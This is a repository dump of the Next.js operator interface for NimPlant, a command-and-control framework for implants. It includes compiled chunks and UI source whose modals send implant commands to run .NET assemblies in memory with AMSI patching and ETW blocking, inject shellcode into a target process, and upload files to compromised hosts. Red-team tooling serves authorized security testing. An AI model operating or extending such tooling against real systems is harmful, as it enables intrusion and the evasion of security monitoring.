n=(0,l.kK)(e)?{getBoundingClientRect:()=>e.getBoundingClientRect(),contextElement:e}:e;g(n),M.refs.setReference(n)},[M.refs]),p=u.useCallback(e=>{((0,l.kK)(e)||null===e)&&(k.current=e,i(e)),((0,l.kK)(M.refs.reference.current)||null===M.refs.reference.current||null!==e&&!(0,l.kK)(e))&&M.refs.setReference(e)},[M.refs]),x=u.useMemo(()=>({...M.refs,setReference:p,setPositionReference:h,domReference:k}),[M.refs,p,h]),S=u.useMemo(()=>({...M.elements,domReference:v}),[M.elements,v]),b=u.useMemo(()=>({...M,...r,refs:x,elements:S,nodeId:n}),[M,x,S,n,r]);return s(()=>{r.dataRef.current.floatingContext=b;let e=null==E?void 0:E.nodesRef.current.find(e=>e.id===n);e&&(e.context=b)}),u.useMemo(()=>({...M,context:b,refs:x,elements:S}),[M,x,S,b])}}}]); -------------------------------------------------------------------------------- /server/web/static/_next/static/chunks/pages/_error-77823ddac6993d35.js: -------------------------------------------------------------------------------- 1 | (self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[820],{1981:function(n,_,u){(window.__NEXT_P=window.__NEXT_P||[]).push(["/_error",function(){return u(6971)}])}},function(n){n.O(0,[888,774,179],function(){return n(n.s=1981)}),_N_E=n.O()}]); -------------------------------------------------------------------------------- /server/web/static/_next/static/chunks/pages/server-2b8f1c88ec2d3025.js: -------------------------------------------------------------------------------- 1 | (self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[753],{3895:function(e,n,s){(window.__NEXT_P=window.__NEXT_P||[]).push(["/server",function(){return s(1891)}])},1891:function(e,n,s){"use strict";s.r(n),s.d(n,{default:function(){return C}});var l=s(5893),i=s(3772),r=s(9831),t=s(9463),c=s(7294),o=s(4310),x=s(8207),d=s(4920),a=s(8008),j=s(1906),h=s(1506),u=s(4410),m=s(314),f=s(889),p=s(7890),g=function(e){let{modalOpen:n,setModalOpen:s}=e;return(0,l.jsxs)(f.u,{opened:n,onClose:()=>s(!1),title:(0,l.jsx)("b",{children:"Danger zone!"}),centered:!0,children:["Are you sure you want to exit the server? All active nimplants will be killed.",(0,l.jsx)(p.T,{h:"xl"}),(0,l.jsx)(d.z,{onClick:()=>{s(!1),(0,i.XP)()},leftSection:(0,l.jsx)(r.Z1A,{}),style:{width:"100%"},children:"Yes, kill kill kill!"})]})},v=s(6341),y=function(){let[e,n]=(0,c.useState)(!1),{serverInfo:s,serverInfoLoading:t,serverInfoError:o}=(0,i.L6)();return(0,l.jsxs)(x.K,{ml:"xl",mr:40,mt:"xl",gap:"xs",children:[(0,l.jsx)(g,{modalOpen:e,setModalOpen:n}),(0,l.jsx)(d.z,{mb:"sm",onClick:()=>n(!0),leftSection:(0,l.jsx)(r.Z1A,{}),style:{maxWidth:"200px"},children:"Kill server"}),(0,l.jsx)(a.D,{order:2,children:"Connection Information"}),(0,l.jsxs)(j.r,{columns:2,gutter:"lg",children:[(0,l.jsx)(j.r.Col,{span:{xs:2,md:1},children:(0,l.jsx)(v.Z,{icon:(0,l.jsx)(r.Els,{size:"1.5em"}),content:(0,l.jsx)(h.O,{visible:!s,children:(0,l.jsxs)(u.x,{children:["Connected to Server "," ",(0,l.jsx)(m.y,{children:s&&s.name})," ","at"," ",(0,l.jsx)(m.y,{children:s&&"http://".concat(s.config.managementIp,":").concat(s.config.managementPort)})]})})})}),(0,l.jsx)(j.r.Col,{span:{xs:2,md:1},children:(0,l.jsx)(v.Z,{icon:(0,l.jsx)(r.F1m,{size:"1.5em"}),content:(0,l.jsx)(h.O,{visible:!s,children:(0,l.jsxs)(u.x,{children:["Listener running at ",(0,l.jsx)(m.y,{children:s&&(0,i.ZS)(s)})]})})})})]}),(0,l.jsx)(a.D,{order:2,pt:20,children:"Nimplant Profile"}),(0,l.jsxs)(j.r,{columns:2,gutter:"lg",children:[(0,l.jsx)(j.r.Col,{span:{xs:2,md:1},children:(0,l.jsx)(v.Z,{icon:(0,l.jsx)(r.qyc,{size:"1.5em"}),content:(0,l.jsx)(h.O,{visible:!s,children:(0,l.jsxs)(u.x,{children:["Nimplants sleep for "," ",(0,l.jsx)(m.y,{children:s&&"".concat(s.config.sleepTime)})," ","seconds (",(0,l.jsxs)(m.y,{children:[s&&"".concat(s.config.sleepJitter),"%"]})," ","jitter) by default. Kill date is"," ",(0,l.jsx)(m.y,{children:s&&"".concat(s.config.killDate)})]})})})}),(0,l.jsx)(j.r.Col,{span:{xs:2,md:1},children:(0,l.jsx)(v.Z,{icon:(0,l.jsx)(r.FrP,{size:"1.5em"}),content:(0,l.jsx)(h.O,{visible:!s,children:(0,l.jsxs)(u.x,{children:["Default Nimplant user agent: ",(0,l.jsx)(m.y,{children:s&&"".concat(s.config.userAgent)})]})})})})]})]})},b=s(1876),C=()=>{let{serverConsole:e,serverConsoleLoading:n,serverConsoleError:s}=(0,i.r5)();return(0,c.useEffect)(()=>{s?(0,i.or)():e&&(0,i.Xe)()}),(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(b.Z,{title:"Server Info",icon:(0,l.jsx)(r.Els,{size:"2em"}),noBorder:!0}),(0,l.jsxs)(t.m,{defaultValue:"serverinfo",children:[(0,l.jsxs)(t.m.List,{mx:-25,grow:!0,children:[(0,l.jsx)(t.m.Tab,{value:"serverinfo",leftSection:(0,l.jsx)(r.DAO,{}),children:"Information"}),(0,l.jsx)(t.m.Tab,{value:"serverconsole",leftSection:(0,l.jsx)(r.fF,{}),children:"Console"})]}),(0,l.jsx)(t.m.Panel,{mx:-15,value:"serverinfo",children:(0,l.jsx)(y,{})}),(0,l.jsx)(t.m.Panel,{mx:-15,style:{height:"100%"},value:"serverconsole",children:(0,l.jsx)(o.Z,{consoleData:e,allowInput:!1})})]})]})}}},function(e){e.O(0,[342,188,7,511,501,888,774,179],function(){return e(e.s=3895)}),_N_E=e.O()}]); -------------------------------------------------------------------------------- /server/web/static/_next/static/chunks/webpack-5146130448d8adf7.js: -------------------------------------------------------------------------------- 1 | !function(){"use strict";var e,t,n,r,o,u,f={},i={};function c(e){var t=i[e];if(void 0!==t)return t.exports;var n=i[e]={exports:{}},r=!0;try{f[e](n,n.exports,c),r=!1}finally{r&&delete i[e]}return n.exports}c.m=f,e=[],c.O=function(t,n,r,o){if(n){o=o||0;for(var u=e.length;u>0&&e[u-1][2]>o;u--)e[u]=e[u-1];e[u]=[n,r,o];return}for(var f=1/0,u=0;u=o&&Object.keys(c.O).every(function(e){return c.O[e](n[l])})?n.splice(l--,1):(i=!1,o 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /server/web/static/nimplant.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /ui/.eslintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "next/core-web-vitals" 3 | } 4 | -------------------------------------------------------------------------------- /ui/.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/articles/ignoring-files/ for more about ignoring files. 2 | 3 | # dependencies 4 | /node_modules 5 | /.pnp 6 | .pnp.js 7 | 8 | # testing 9 | /coverage 10 | 11 | # next.js 12 | /.next/ 13 | /out/ 14 | 15 | # production 16 | /build 17 | 18 | # misc 19 | .DS_Store 20 | *.pem 21 | 22 | # debug 23 | npm-debug.log* 24 | yarn-debug.log* 25 | yarn-error.log* 26 | .pnpm-debug.log* 27 | 28 | # local env files 29 | .env*.local 30 | 31 | # vercel 32 | .vercel 33 | 34 | # typescript 35 | *.tsbuildinfo 36 | -------------------------------------------------------------------------------- /ui/build-ui.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # ----- 4 | # 5 | # NimPlant - A light-weight stage 1 implant and C2 written in Nim|Rust and Python 6 | # By Cas van Cooten (@chvancooten) 7 | # 8 | # This is a helper script to build the Next.JS frontend 9 | # and move it to the right directory for use with Nimplant. 10 | # End-users should not need to use this script, unless frontend 11 | # modifications have been made. 12 | # 13 | # ----- 14 | 15 | import os 16 | import shutil 17 | import subprocess 18 | 19 | # Compile the Next frontend 20 | print("Building Nimplant frontend...") 21 | 22 | process = subprocess.Popen("npm run build", shell=True) 23 | process.wait() 24 | 25 | # Put the output files in the right structure for flask 26 | print("Structuring files...") 27 | 28 | source_directory = "out/" 29 | target_directory = "out/static/" 30 | files = [ 31 | "_next", 32 | "404.html", 33 | "favicon.png", 34 | "favicon.svg", 35 | "nimplant-logomark.svg", 36 | "nimplant.svg", 37 | ] 38 | 39 | os.mkdir(target_directory) 40 | for f in files: 41 | shutil.move(source_directory + f, target_directory + f) 42 | 43 | # Move the output files to the right location 44 | print("Moving files to Nimplant directory...") 45 | 46 | target_directory = "../server/web" 47 | shutil.rmtree(target_directory) 48 | shutil.move(source_directory, target_directory) 49 | 50 | print("Done!") 51 | -------------------------------------------------------------------------------- /ui/components/DownloadList.tsx: -------------------------------------------------------------------------------- 1 | import { FaRegMeh } from 'react-icons/fa' 2 | import { formatBytes, formatTimestamp, getDownloads, getNimplants } from '../modules/nimplant' 3 | import { Text, Group, Stack } from '@mantine/core' 4 | import Link from 'next/link' 5 | import classes from '../styles/liststyles.module.css' 6 | 7 | function DownloadList() { 8 | const { downloads, downloadsLoading, downloadsError } = getDownloads() 9 | const { nimplants, nimplantsLoading, nimplantsError } = getNimplants() 10 | 11 | 12 | // Check data length and return placeholder if no downloads are present 13 | if (!downloads || downloads.length === 0) return ( 14 | 15 | 16 | Nothing here... 17 | 18 | ) 19 | 20 | // Otherwise render an overview of downloads 21 | return ( 22 | <> 23 | {downloads.map((file: any, index: number) => ( 24 | 27 | 28 | 29 | 30 | {file.name} 31 | 32 | 33 | 34 | {file.nimplant} 35 | 36 | 37 | { 38 | nimplants && nimplants.find((nimplant: any) => nimplant.guid === file.nimplant)?.username 39 | + '@' + 40 | nimplants.find((nimplant: any) => nimplant.guid === file.nimplant)?.hostname 41 | } 42 | 43 | 44 | 45 | {formatBytes(file.size)} 46 | 47 | 48 | {formatTimestamp(file.lastmodified)} 49 | 50 | 51 | 52 | 53 | ))} 54 | 55 | ) 56 | } 57 | 58 | export default DownloadList -------------------------------------------------------------------------------- /ui/components/InfoCard.tsx: -------------------------------------------------------------------------------- 1 | import { Paper, Group, Stack } from "@mantine/core" 2 | import { ReactNode } from "react" 3 | 4 | type InfoCardType = { 5 | icon: ReactNode, 6 | content: ReactNode, 7 | } 8 | 9 | // Component for single information card (for server and nimplant data) 10 | function InfoCard({icon, content}: InfoCardType) { 11 | return ( 12 | 15 | 16 | 17 | {icon} 18 | 19 | 20 | 21 | {content} 22 | 23 | 24 | 25 | ) 26 | } 27 | 28 | export default InfoCard -------------------------------------------------------------------------------- /ui/components/InfoCardListServer.tsx: -------------------------------------------------------------------------------- 1 | import { FaServer, FaClock, FaHeadphones, FaInternetExplorer, FaSkull } from "react-icons/fa" 2 | import { getListenerString, getServerInfo } from "../modules/nimplant"; 3 | import { Grid, Title, Text, Button, Skeleton, Stack } from "@mantine/core" 4 | import { Highlight } from "./MainLayout"; 5 | import { useState } from "react"; 6 | import ExitServerModal from "./modals/ExitServer"; 7 | import InfoCard from "./InfoCard" 8 | 9 | // Component for single information card (for server and nimplant data) 10 | function InfoCardListServer() { 11 | const [exitModalOpen, setExitModalOpen] = useState(false); 12 | const { serverInfo, serverInfoLoading, serverInfoError } = getServerInfo() 13 | 14 | // Return the actual cards 15 | return ( 16 | 17 | 18 | 19 | 20 | 27 | 28 | 29 | Connection Information 30 | 31 | 32 | 33 | 34 | } content={ 35 | 36 | Connected to Server {' '} 37 | {serverInfo && serverInfo.name} 38 | {' '}at{' '} 39 | {serverInfo && `http://${serverInfo.config.managementIp}:${serverInfo.config.managementPort}`} 40 | 41 | 42 | } /> 43 | 44 | 45 | 46 | } content={ 47 | 48 | Listener running at {serverInfo && getListenerString(serverInfo)} 49 | 50 | } /> 51 | 52 | 53 | 54 | 55 | 56 | Nimplant Profile 57 | 58 | 59 | 60 | 61 | } content={ 62 | 63 | 64 | Nimplants sleep for {' '} 65 | {serverInfo && `${serverInfo.config.sleepTime}`} 66 | {' '}seconds ( 67 | {serverInfo && `${serverInfo.config.sleepJitter}`}% 68 | {' '}jitter) by default. Kill date is{' '} 69 | {serverInfo && `${serverInfo.config.killDate}`} 70 | 71 | 72 | } /> 73 | 74 | 75 | 76 | } content={ 77 | 78 | 79 | Default Nimplant user agent: {serverInfo && `${serverInfo.config.userAgent}`} 80 | 81 | 82 | } /> 83 | 84 | 85 | 86 | ) 87 | } 88 | 89 | export default InfoCardListServer -------------------------------------------------------------------------------- /ui/components/MainLayout.tsx: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import Head from 'next/head'; 3 | import { AppShell, Burger, useMantineTheme, Image, Badge, Space, Box, Text } from "@mantine/core"; 4 | import { useMediaQuery, useDisclosure } from "@mantine/hooks"; 5 | import NavbarContents from "./NavbarContents"; 6 | 7 | // Basic component for highlighted text 8 | export function Highlight({ children }: { children: React.ReactNode }) { 9 | return {children} 10 | } 11 | 12 | // Main layout component 13 | type ChildrenProps = React.PropsWithChildren<{}>; 14 | function MainLayout({ children }: ChildrenProps) { 15 | const theme = useMantineTheme(); 16 | const isSmallScreen = useMediaQuery('(max-width: 767px)'); // 'sm' breakpoint 17 | const [sidebarOpened, { toggle }] = useDisclosure(); 18 | 19 | return ( 20 | <> 21 | {/* Header information (static for all pages) */} 22 | 23 | Nimplant 24 | 25 | 26 | 27 | 28 | {/* Main layout (header-sidebar-content) is managed via AppShell */} 29 | 38 | 39 | 47 | 48 |
49 | Logo 50 | 51 | {!isSmallScreen && ( 52 | 53 | 54 | 62 | v1.4 63 | 64 | 65 | )} 66 |
67 |
68 | 69 | 70 | 71 | 72 | 73 | 74 | {children} 75 | 76 |
77 | 78 | ) 79 | } 80 | 81 | export default MainLayout; -------------------------------------------------------------------------------- /ui/components/NavbarContents.tsx: -------------------------------------------------------------------------------- 1 | import { Box, Center, Group, Image, AppShell, Text, UnstyledButton, Stack } from "@mantine/core"; 2 | import { FaHome, FaServer, FaLaptopCode, FaDownload } from 'react-icons/fa' 3 | import { useMediaQuery } from "@mantine/hooks"; 4 | import Link from "next/link"; 5 | import React from "react"; 6 | import classes from '../styles/buttonstyles.module.css'; 7 | 8 | import { useRouter } from 'next/router' 9 | 10 | interface MainLinkProps { 11 | icon: React.ReactNode; 12 | label: string; 13 | target: string; 14 | active: boolean; 15 | } 16 | 17 | // Component for single navigation items 18 | function NavItem({ icon, label, target, active }: MainLinkProps) { 19 | const largeScreen = useMediaQuery('(min-width: 1200px)'); 20 | return ( 21 | 22 | 25 | 26 | {icon} {label} 27 | 28 | 29 | 30 | ); 31 | } 32 | 33 | // Construct the navbar 34 | function NavbarContents() { 35 | const currentPath = useRouter().pathname 36 | 37 | return ( 38 | <> 39 | 40 | 41 | } label="Home" target='/' active={currentPath === '/'} /> 42 | } label="Server" target='/server' active={currentPath === '/server'} /> 43 | } label="Downloads" target='/downloads' active={currentPath === '/downloads'} /> 44 | } label="Nimplants" target='/nimplants' active={currentPath.startsWith('/nimplants')} /> 45 | 46 | 47 | 48 |
49 | Logo 50 |
51 |
52 | 53 | ) 54 | } 55 | 56 | export default NavbarContents -------------------------------------------------------------------------------- /ui/components/NimplantOverviewCardList.tsx: -------------------------------------------------------------------------------- 1 | import { FaRegMeh } from 'react-icons/fa' 2 | import { getNimplants, restoreConnectionError, showConnectionError } from '../modules/nimplant' 3 | import { Text, Group, Loader } from '@mantine/core' 4 | import { useMediaQuery } from '@mantine/hooks' 5 | import NimplantOverviewCard from './NimplantOverviewCard' 6 | import type Types from '../modules/nimplant.d' 7 | import { useEffect } from 'react' 8 | 9 | // Component for single nimplant card (for 'nimplants' overview screen) 10 | function NimplantOverviewCardList() { 11 | const largeScreen = useMediaQuery('(min-width: 800px)') 12 | 13 | // Query API 14 | const {nimplants, nimplantsLoading, nimplantsError} = getNimplants() 15 | 16 | useEffect(() => { 17 | // Render placeholder if data is not yet available 18 | if (nimplantsError) { 19 | showConnectionError() 20 | } else if (nimplants) { 21 | restoreConnectionError() 22 | } 23 | }) 24 | 25 | // Logic for displaying component 26 | if (nimplantsLoading || nimplantsError) { 27 | return ( 28 | 29 | 30 | Loading... 31 | 32 | ) 33 | } 34 | 35 | // Check data length and return placeholder if no nimplants are active 36 | if (nimplants.length === 0) return ( 37 | 38 | 39 | Nothing here... 40 | 41 | ) 42 | 43 | // Otherwise render the NimplantOverviewCard component for each nimplant 44 | return nimplants.map((np: Types.NimplantOverview) => ( 45 | 46 | )) 47 | } 48 | 49 | export default NimplantOverviewCardList -------------------------------------------------------------------------------- /ui/components/TitleBar.tsx: -------------------------------------------------------------------------------- 1 | import { Group, Paper, Title } from "@mantine/core"; 2 | import React from "react"; 3 | 4 | type TitleBar = { 5 | title: string, 6 | icon: React.ReactNode, 7 | noBorder?: boolean, 8 | } 9 | 10 | // Simple title bar to show as page header 11 | function TitleBar({ title, icon, noBorder = false }: TitleBar) { 12 | return ( 13 | <> 14 | 17 | 18 | 19 | {icon} {title} 20 | 21 | 22 | 23 | 24 | ) 25 | } 26 | 27 | export default TitleBar -------------------------------------------------------------------------------- /ui/components/modals/Cmd-Execute-Assembly.tsx: -------------------------------------------------------------------------------- 1 | import { Button, Chip, FileButton, Flex, Input, Modal, SimpleGrid, Space, Text } from "@mantine/core" 2 | import { Dispatch, SetStateAction, useState } from "react"; 3 | import { FaTerminal } from "react-icons/fa" 4 | import { submitCommand, uploadFile } from "../../modules/nimplant"; 5 | 6 | 7 | interface IProps { 8 | modalOpen: boolean; 9 | setModalOpen: Dispatch>; 10 | npGuid: string | undefined; 11 | } 12 | 13 | function ExecuteAssemblyModal({ modalOpen, setModalOpen, npGuid }: IProps) { 14 | const [assemblyFile, setAssemblyFile] = useState(null); 15 | const [assemblyArguments, setAssemblyArguments] = useState(""); 16 | const [patchAmsi, setPatchAmsi] = useState(true); 17 | const [patchEtw, setPatchEtw] = useState(true); 18 | const [submitLoading, setSubmitLoading] = useState(false); 19 | 20 | const submit = () => { 21 | // Check if a file is selected 22 | if (!assemblyFile || assemblyFile === null) { 23 | return; 24 | } 25 | 26 | // Upload the file 27 | setSubmitLoading(true); 28 | uploadFile(assemblyFile, callbackCommand, callbackClose); 29 | }; 30 | 31 | const callbackCommand = (uploadPath: string) => { 32 | // Parse the parameters 33 | const amsi = patchAmsi ? 1 : 0; 34 | const etw = patchEtw ? 1 : 0; 35 | 36 | // Handle the execute-assembly command 37 | submitCommand(String(npGuid), `execute-assembly BYPASSAMSI=${amsi} BLOCKETW=${etw} "${uploadPath}" ${assemblyArguments}`, callbackClose); 38 | }; 39 | 40 | const callbackClose = () => { 41 | // Reset state 42 | setModalOpen(false); 43 | setAssemblyFile(null); 44 | setAssemblyArguments(""); 45 | setPatchAmsi(true); 46 | setPatchEtw(true); 47 | setSubmitLoading(false); 48 | }; 49 | 50 | return ( 51 | setModalOpen(false)} 54 | title={Execute-Assembly: Execute .NET program} 55 | size="auto" 56 | centered 57 | > 58 | Execute a .NET (C#) program in-memory. 59 | Caution: Running execute-assembly will load the CLR! 60 | 61 | 62 | 63 | 64 | {/* File selector */} 65 | 66 | {(props) => } 69 | 70 | 71 | {/* Arguments and options */} 72 | setAssemblyArguments(event.currentTarget.value)} 76 | /> 77 | 78 | 83 | Patch AMSI 84 | Block ETW 85 | 86 | 87 | 88 | 89 | 90 | 91 | {/* Submit button */} 92 | 100 | 101 | ) 102 | } 103 | 104 | export default ExecuteAssemblyModal -------------------------------------------------------------------------------- /ui/components/modals/Cmd-Shinject.tsx: -------------------------------------------------------------------------------- 1 | import { Button, FileButton, Modal, NumberInput, SimpleGrid, Space, Text } from "@mantine/core" 2 | import { Dispatch, SetStateAction, useState } from "react"; 3 | import { FaBullseye, FaTerminal } from "react-icons/fa" 4 | import { submitCommand, uploadFile } from "../../modules/nimplant"; 5 | 6 | 7 | interface IProps { 8 | modalOpen: boolean; 9 | setModalOpen: Dispatch>; 10 | npGuid: string | undefined; 11 | } 12 | 13 | function ShinjectModal({ modalOpen, setModalOpen, npGuid }: IProps) { 14 | const [scFile, setScFile] = useState(null); 15 | const [targetPid, setTargetPid] = useState(undefined); 16 | const [submitLoading, setSubmitLoading] = useState(false); 17 | 18 | const submit = () => { 19 | // Check if a file is selected 20 | if (!scFile || scFile === null) { 21 | return; 22 | } 23 | 24 | // Upload the file 25 | setSubmitLoading(true); 26 | uploadFile(scFile, callbackCommand, callbackClose); 27 | }; 28 | 29 | const callbackCommand = (uploadPath: string) => { 30 | // Handle the execute-assembly command 31 | submitCommand(String(npGuid), `shinject ${targetPid} "${uploadPath}"`, callbackClose); 32 | }; 33 | 34 | const callbackClose = () => { 35 | // Reset state 36 | setModalOpen(false); 37 | setScFile(null); 38 | setTargetPid(undefined); 39 | setSubmitLoading(false); 40 | }; 41 | 42 | return ( 43 | setModalOpen(false)} 46 | title={Shinject: Inject and execute shellcode} 47 | size="auto" 48 | centered 49 | > 50 | Execute shellcode in a selected target process using dynamic invocation. 51 | 52 | 53 | 54 | 55 | 56 | {/* File selector */} 57 | 58 | {(props) => } 61 | 62 | 63 | {/* PID argument */} 64 | } 68 | onChange={(value) => setTargetPid(Number(value))} 69 | min={0} 70 | /> 71 | 72 | 73 | 74 | 75 | 76 | {/* Submit button */} 77 | 85 | 86 | ) 87 | } 88 | 89 | export default ShinjectModal -------------------------------------------------------------------------------- /ui/components/modals/Cmd-Upload.tsx: -------------------------------------------------------------------------------- 1 | import { Button, FileButton, Input, Modal, SimpleGrid, Space, Text } from "@mantine/core" 2 | import { Dispatch, SetStateAction, useState } from "react"; 3 | import { FaUpload } from "react-icons/fa" 4 | import { submitCommand, uploadFile } from "../../modules/nimplant"; 5 | 6 | 7 | interface IProps { 8 | modalOpen: boolean; 9 | setModalOpen: Dispatch>; 10 | npGuid: string | undefined; 11 | } 12 | 13 | function UploadModal({ modalOpen, setModalOpen, npGuid }: IProps) { 14 | const [file, setFile] = useState(null); 15 | const [targetPath, setTargetPath] = useState(""); 16 | const [submitLoading, setSubmitLoading] = useState(false); 17 | 18 | const submit = () => { 19 | // Check if a file is selected 20 | if (!file || file === null) { 21 | return; 22 | } 23 | 24 | // Upload the file 25 | setSubmitLoading(true); 26 | uploadFile(file, callbackCommand, callbackClose); 27 | }; 28 | 29 | const callbackCommand = (uploadPath: string) => { 30 | // Handle the upload command 31 | submitCommand(String(npGuid), `upload "${uploadPath}" "${targetPath}"`, callbackClose); 32 | }; 33 | 34 | const callbackClose = () => { 35 | // Reset state 36 | setModalOpen(false); 37 | setFile(null); 38 | setTargetPath(""); 39 | setSubmitLoading(false); 40 | }; 41 | 42 | return ( 43 | setModalOpen(false)} 46 | title={Upload: Upload a file} 47 | size="auto" 48 | centered 49 | > 50 | Upload a file to the target. 51 | 52 | 53 | 54 | 55 | {/* File selector */} 56 | 57 | {(props) => } 60 | 61 | 62 | {/* Arguments and options */} 63 | setTargetPath(event.currentTarget.value)} 67 | /> 68 | 69 | 70 | 71 | 72 | 73 | {/* Submit button */} 74 | 82 | 83 | ) 84 | } 85 | 86 | export default UploadModal -------------------------------------------------------------------------------- /ui/components/modals/ExitServer.tsx: -------------------------------------------------------------------------------- 1 | import { Button, Modal, Space } from "@mantine/core" 2 | import { FaSkull } from "react-icons/fa" 3 | import { serverExit } from "../../modules/nimplant"; 4 | import { Dispatch, SetStateAction } from "react"; 5 | 6 | 7 | interface IProps { 8 | modalOpen: boolean; 9 | setModalOpen: Dispatch>; 10 | } 11 | 12 | 13 | function ExitServerModal({ modalOpen, setModalOpen }: IProps) { 14 | return ( 15 | setModalOpen(false)} 18 | title={Danger zone!} 19 | centered 20 | > 21 | Are you sure you want to exit the server? All active nimplants will be killed. 22 | 23 | 24 | 25 | 31 | 32 | ) 33 | } 34 | 35 | export default ExitServerModal -------------------------------------------------------------------------------- /ui/modules/nimplant.d.ts: -------------------------------------------------------------------------------- 1 | declare module Types { 2 | // Nimplant info 3 | export interface NimplantOverview { 4 | id: string; 5 | guid: string; 6 | active: boolean; 7 | ipAddrExt: string; 8 | ipAddrInt: string; 9 | username: string; 10 | hostname: string; 11 | pid: number; 12 | lastCheckin: string; 13 | late: boolean; 14 | } 15 | 16 | export interface ServerInfoConfig{ 17 | killDate: string; 18 | listenerHost: string; 19 | listenerIp: string; 20 | listenerPort: number; 21 | listenerType: string; 22 | managementIp: string; 23 | managementPort: number; 24 | registerPath: string; 25 | resultPath: string; 26 | riskyMode: boolean; 27 | sleepJitter: number; 28 | sleepTime: number; 29 | taskPath: string; 30 | userAgent: string; 31 | } 32 | 33 | export interface ServerInfo { 34 | config: Config; 35 | guid: string; 36 | name: string; 37 | xorKey: number; 38 | } 39 | } 40 | 41 | export default nimplantTypes -------------------------------------------------------------------------------- /ui/next-env.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | /// 3 | 4 | // NOTE: This file should not be edited 5 | // see https://nextjs.org/docs/basic-features/typescript for more information. 6 | -------------------------------------------------------------------------------- /ui/next.config.js: -------------------------------------------------------------------------------- 1 | /** @type {import('next').NextConfig} */ 2 | const nextConfig = { 3 | output: 'export', 4 | reactStrictMode: true, 5 | } 6 | 7 | module.exports = nextConfig 8 | -------------------------------------------------------------------------------- /ui/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "nimplant-ui", 3 | "version": "1.4", 4 | "private": true, 5 | "scripts": { 6 | "dev": "next dev", 7 | "build": "next build", 8 | "start": "next start", 9 | "lint": "next lint" 10 | }, 11 | "dependencies": { 12 | "@mantine/core": "^7.11.2", 13 | "@mantine/hooks": "^7.11.2", 14 | "@mantine/next": "^6.0.22", 15 | "@mantine/notifications": "^7.11.2", 16 | "date-fns": "^3.6.0", 17 | "next": "^14.2.5", 18 | "react": "^18.3.1", 19 | "react-dom": "^18.3.1", 20 | "react-icons": "^5.2.1", 21 | "swr": "^2.2.5" 22 | }, 23 | "devDependencies": { 24 | "@types/node": "^22.1.0", 25 | "@types/react": "^18.3.3", 26 | "@types/react-dom": "^18.3.0", 27 | "eslint": "^9.8.0", 28 | "eslint-config-next": "^14.2.5", 29 | "postcss": "^8.4.40", 30 | "postcss-preset-mantine": "^1.17.0", 31 | "postcss-simple-vars": "^7.0.1", 32 | "typescript": "^5.5.4" 33 | } 34 | } -------------------------------------------------------------------------------- /ui/pages/_app.tsx: -------------------------------------------------------------------------------- 1 | import '@mantine/core/styles.css'; 2 | import '@mantine/notifications/styles.css'; 3 | import '../styles/global.css' 4 | 5 | import { createTheme, MantineProvider } from '@mantine/core'; 6 | import { Notifications } from '@mantine/notifications'; 7 | import type { AppProps } from 'next/app'; 8 | import MainLayout from '../components/MainLayout'; 9 | 10 | // type ExtendedCustomColors = 'rose' | DefaultMantineColor; 11 | 12 | // declare module '@mantine/core' { 13 | // export interface MantineThemeColorsOverride { 14 | // colors: Record>; 15 | // } 16 | // } 17 | 18 | const theme = createTheme({ 19 | fontFamily: 'Inter, sans-serif', 20 | fontFamilyMonospace: 'Roboto Mono, Courier, monospace', 21 | headings: { fontFamily: 'Montserrat, sans-serif' }, 22 | colors: { 23 | 'rose': ['#FFF1F2', '#FFE4E6', '#FECDD3', '#FDA4AF', '#FB7185', '#F43F5E', '#E11D48', '#BE123C', '#9F1239', '#881337'], 24 | }, 25 | primaryColor: 'rose', 26 | }); 27 | 28 | // Define providers and main layout for all pages 29 | export default function MyApp({ Component, pageProps }: AppProps) { 30 | return ( 31 | 32 | 33 | 34 | 35 | 36 | 37 | ); 38 | } 39 | -------------------------------------------------------------------------------- /ui/pages/_document.tsx: -------------------------------------------------------------------------------- 1 | // import Document from 'next/document'; 2 | // import { createGetInitialProps } from '@mantine/next'; 3 | 4 | // const getInitialProps = createGetInitialProps(); 5 | 6 | // export default class _Document extends Document { 7 | // static getInitialProps = getInitialProps; 8 | // } 9 | 10 | import { Head, Html, Main, NextScript } from 'next/document'; 11 | import { ColorSchemeScript } from '@mantine/core'; 12 | 13 | export default function Document() { 14 | return ( 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 | 24 | ); 25 | } -------------------------------------------------------------------------------- /ui/pages/downloads.tsx: -------------------------------------------------------------------------------- 1 | import { FaDownload } from 'react-icons/fa' 2 | import { Card, Group, ScrollArea, Text } from '@mantine/core' 3 | import { useMediaQuery } from '@mantine/hooks' 4 | import DownloadList from '../components/DownloadList' 5 | import TitleBar from '../components/TitleBar' 6 | import type { NextPage } from 'next' 7 | 8 | const Downloads: NextPage = () => { 9 | const largeScreen = useMediaQuery('(min-width: 800px)') 10 | 11 | return ( 12 | <> 13 | } noBorder /> 14 | 15 | 16 | 17 | Filename 18 | 19 | 20 | Nimplant 21 | 22 | 23 | Size 24 | 25 | 26 | Downloaded 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | ) 36 | } 37 | export default Downloads -------------------------------------------------------------------------------- /ui/pages/index.tsx: -------------------------------------------------------------------------------- 1 | import { Dots } from '../components/Dots'; 2 | import { FaGithub, FaHome, FaTwitter } from 'react-icons/fa' 3 | import { Title, Text, Button, Container, useMantineTheme, ScrollArea } from '@mantine/core'; 4 | import { useMediaQuery } from '@mantine/hooks' 5 | import TitleBar from '../components/TitleBar' 6 | import type { NextPage } from 'next' 7 | import classes from '../styles/styles.module.css' 8 | 9 | const Index: NextPage = () => { 10 | const largeScreen = useMediaQuery('(min-width: 767px)'); // 'sm' breakpoint 11 | const theme = useMantineTheme(); 12 | 13 | return ( 14 | <> 15 | } /> 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 |
